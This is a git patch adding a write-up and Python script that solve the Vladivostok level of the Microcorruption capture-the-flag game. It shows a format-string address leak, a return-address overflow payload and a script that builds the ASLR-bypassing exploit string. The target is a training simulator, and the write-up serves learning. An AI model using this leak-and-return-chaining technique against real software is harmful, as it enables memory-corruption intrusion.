From 6cfef3b77c708678080ffaa91d37652d6325fd38 Mon Sep 17 00:00:00 2001 From: felixm Date: Thu, 13 Apr 2023 20:44:21 -0400 Subject: [PATCH] Solve Vladivostok --- README.md | 72 ++++++++++++++++++++++++++++++++++++++++++++++++++ vladivostok.py | 49 ++++++++++++++++++++++++++++++++++ 2 files changed, 121 insertions(+) create mode 100644 vladivostok.py diff --git a/README.md b/README.md index 9b5beb6..a968202 100644 --- a/README.md +++ b/README.md @@ -438,3 +438,75 @@ beefbeefbeefbeefbeefbeefbeefbeef1e2462452100 ## Vladivostok +This one is fun. We first use this command to disable the program code randomization: + +``` +#define init b 445a;reset;c;u 445a;let r10=3000;let r11=4400;b 4494;c;u 4494;let pc=44a0;c +``` + +Now, when typing `init`, the program initializes and we can debug properly. + +We quickly realize that there is a return address vulerability that we can +exploit with this code: + +``` + offset move 3 into r13 + / / +---------------- -------- +aaaaaaaaaaaaaaaafe423d400300b012ae46 + ---- -------- branch to code that does R13 += 0x7c + \ and then pushes R13 and INTs to unlock + \ + jump to injected code + +``` + +Unfortunately, this requires both the random stack and program address. After +playing around with the first input, we find that `%x%x` reliably prints the +`printf` function address but there is no way for a stack address. + +We have to find a different location to exploit. After some digging, we find +that 0x48ec (aka `_int`) allows as to push a chosen value into R14. We can than +layer the return call injects to return to `0x4954` which pushes R14 as the +interrupt selection value and then calls `0x10`. That means, we can inject +`0x7f` into R14, allowing us to call the unlock interrupt. + +With the static addresses, our attack then looks like this: + +``` + `_int` addr inject 0x7f (unlock door) into r14 + \ / + ---- -- +aaaaaaaaaaaaaaaaec4854497f00 + ---- + `push r14` addr / +``` + +Now, the only issue is of course that this relies on the derandomized code +locations. We can write a quick Python script, to compute the correct string +for every `printf`-addr: + +```python +PRINTF_ADDR = 0x476a # This is the address we can extract via '%n%n' +INT_ADDR = 0x48ec # This is the address where we can push a specific value to R14 +PUSH_R14_ADDR = 0x4954 # This location triggers an interrupt with R14 as the INT selector + +random_printf_addr = 0x1338 # get via '%x%x' username input +random_int_addr = random_printf_addr + (INT_ADDR - PRINTF_ADDR) +random_push_r14_addr = random_printf_addr + (PUSH_R14_ADDR - PRINTF_ADDR) + +solution_string = "aaaaaaaaaaaaaaaa" # Initial offset +solution_string += reverse_byte_order(random_int_addr) +solution_string += reverse_byte_order(random_push_r14_addr) +solution_string += "7f00" +print(solution_string) +``` + +All that is left is finding out the address by using `%x%x` in the username +input field. We then put the address we get into the script, and reliably get +the solution string. + + +# Bangalore + + diff --git a/vladivostok.py b/vladivostok.py new file mode 100644 index 0000000..c074e54 --- /dev/null +++ b/vladivostok.py @@ -0,0 +1,49 @@ +""" +Script to solve https://microcorruption.com/debugger/Vladivostok + +- Enter '%x%x' into the username field to get the printf-location +- Input the printf-location into this script +- Enter the output string into the password field to solve + +""" + + +def reverse_byte_order(hex_int): + hex_str = hex(hex_int) + + # Ensure the hex string has an even number of characters + if len(hex_str) % 2 != 0: + hex_str = "0" + hex_str + + # Reverse the byte order in groups of two + byte_reversed = "".join(reversed([hex_str[i:i + 2] for i in range(0, len(hex_str), 2)])) + return byte_reversed[:-2] + + +def get_printf_address(): + hex_str = input("Enter a hex string: ") + num = int(hex_str, 16) + return num + + +def compute_solution(): + # These are the addresses for the program at its original location. + PRINTF_ADDR = 0x476a # This is the address we can extract via '%n%n' + INT_ADDR = 0x48ec # This is the address where we can push a specific value to R14 + PUSH_R14_ADDR = 0x4954 # This location triggers an interrupt with R14 as the INT selector + + + random_printf_addr = get_printf_address() + random_int_addr = random_printf_addr + (INT_ADDR - PRINTF_ADDR) + random_push_r14_addr = random_printf_addr + (PUSH_R14_ADDR - PRINTF_ADDR) + + solution_string = "aaaaaaaaaaaaaaaa" # Initial offset + solution_string += reverse_byte_order(random_int_addr) + solution_string += reverse_byte_order(random_push_r14_addr) + solution_string += "7f00" + print(solution_string) + + +if __name__ == "__main__": + compute_solution() +